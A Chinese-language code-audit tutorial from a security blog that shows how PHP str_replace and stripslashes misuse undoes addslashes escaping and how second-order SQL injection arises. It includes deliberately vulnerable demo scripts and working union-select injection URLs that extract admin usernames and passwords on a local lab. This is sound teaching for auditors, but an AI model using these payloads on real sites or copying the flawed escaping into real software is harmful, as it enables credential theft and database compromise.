0x01 前言
接白帽子分享之代码审计的艺术系列 第二篇,这里讲一些函数的错误使用会引发SQL
注入的场景以及二次注入漏洞产生的原因。如果没看之前的内容,建议先看看前两篇。
0x02 准备
知识储备:php
基础、MySQL
入门
工具:notepad++
服务器环境:wamp
测试代码:见文中
0x03 全局防护Bypass中篇的脑图
0x04 一些函数的错误使用导致SQL注入
一些常用函数像str_replace
、stripslashes
的错误使用会导致绕过addslashes
函数的全局防护,首先来看str_replace
函数,有时写程序会使用str_replace
函数将参数中的单引号、括号等字符替换为空,使用不当就会引发注入问题。缺陷代码如下:
streplace.php
:
<?php
require_once('common.php');
$conn = mysql_connect('localhost', 'root', 'root') or die('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("数据库连接失败");
$tmp_id = isset($_GET['id']) ? $_GET['id'] : 1;
$title = isset($_GET['title']) ? $_GET['title'] : 'news title';
$id = str_replace("'",'',$tmp_id);
$sql = "SELECT * FROM news WHERE id='{$id}' and title='{$title}'";
echo $sql.'<br />';
$result = mysql_query($sql, $conn) or die(mysql_error());
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>新闻</title>
</head>
<body>
<?php
$row = mysql_fetch_array($result, MYSQL_ASSOC);
echo "<h3>{$row['title']}</h3><p>{$row['content']}<p>\n";
mysql_free_result($result);
?>
</body>
</html>
浏览器输入:
http://localhost/sqltest/streplace.php?id=1'&title=news title
发现报错了,我们直接打印出执行的sql
语句如下图:
发现参数id
右边的单引号被反斜杠转义成字符了,说明又可以注入了。
简单分析下上面id
参数的执行过程,-1'
经过addslashes
函数转义后变成了-1\'
,然后再经过str_replace
函数干掉了单引号变成了-1\
,最后带入查询的语句才是下面这样:
SELECT * FROM news WHERE id='1\'and title='news title'
反斜杠转义了sql
查询语句里id
后面那个单引号,导致title
参数可以构造sql
注入语句了,我们直接构造获取管理员账户密码的语句:
http://localhost/sqltest/streplace.php?id=-1'&title=union select 1,2,concat(name,0x23,pass) from admin%23
实际执行的SQL
语句:
SELECT * FROM news WHERE id='-1\' and title='union select 1,2,concat(name,0x23,pass) from admin#'
接下来我们再看下stripslashes
函数,这个函数的定义是删除由addslashes()
函数添加的反斜杠,所以很明显使用不当的话就会引发SQL
注入。缺陷代码如下:
stripslashes.php
:
<?php
require_once('common.php');
$conn = mysql_connect('localhost', 'root', 'root') or die('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("数据库连接失败");
$tmp_id = isset($_GET['id']) ? $_GET['id'] : 1;
$id = stripslashes($tmp_id);
$sql = "SELECT * FROM news WHERE id='{$id}'";
echo $sql.'<br />';
$result = mysql_query($sql, $conn) or die(mysql_error());
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>新闻</title>
</head>
<body>
<?php
$row = mysql_fetch_array($result, MYSQL_ASSOC);
echo "<h3>{$row['title']}</h3><p>{$row['content']}<p>\n";
mysql_free_result($result);
?>
</body>
</html>
浏览器输入http://localhost/sqltest/stripslashes.php?id=-1'
,发现报错了,echo
出执行的sql
语句如下图:
分析下参数id
的执行过程,-1'
经过addslashes
函数转义后变成了-1\'
,然后再经过stripslashes
函数干掉了反斜杠变成了-1'
,所以又可以愉快的注入了。
获取管理员账户密码的语句:
http://localhost/sqltest/stripslashes.php?id=-1' union select 1,2,concat(name,0x23,pass) from admin%23
实际执行的SQL
语句:
SELECT * FROM news WHERE id='-1' union select 1,2,concat(name,0x23,pass) from admin#'
0x05 二次注入产生的原因
二次注入也是一种很常见的sql
注入,它涉及到入库和出库。假如我们注册了一个网站,填写个人资料后保存时数据库里执行类似insert into test values(1,'braid','18','run')
这种sql
语句,代表我向数据库表test
里插入昵称为braid
,年龄18
岁,爱好是run
的一个操作。接下来看下单引号在这条语句执行过程和mysql
中的变化:
假如昵称引入一个单引号为braid'
,那么经过转义后入库的语句为insert into test values(1,'braid\'','18','run')
,然后我们看下mysql
执行这条语句后数据库里内容变化:
我们执行一条查询语句后发现braid\'
入库后变成了braid'
,转义字符消失,所以在一些页面输出昵称的地方又可以构造注入语句获取管理员账户密码了~
若你觉得我的文章对你有帮助,欢迎点击上方按钮对我打赏
扫描二维码,分享此文章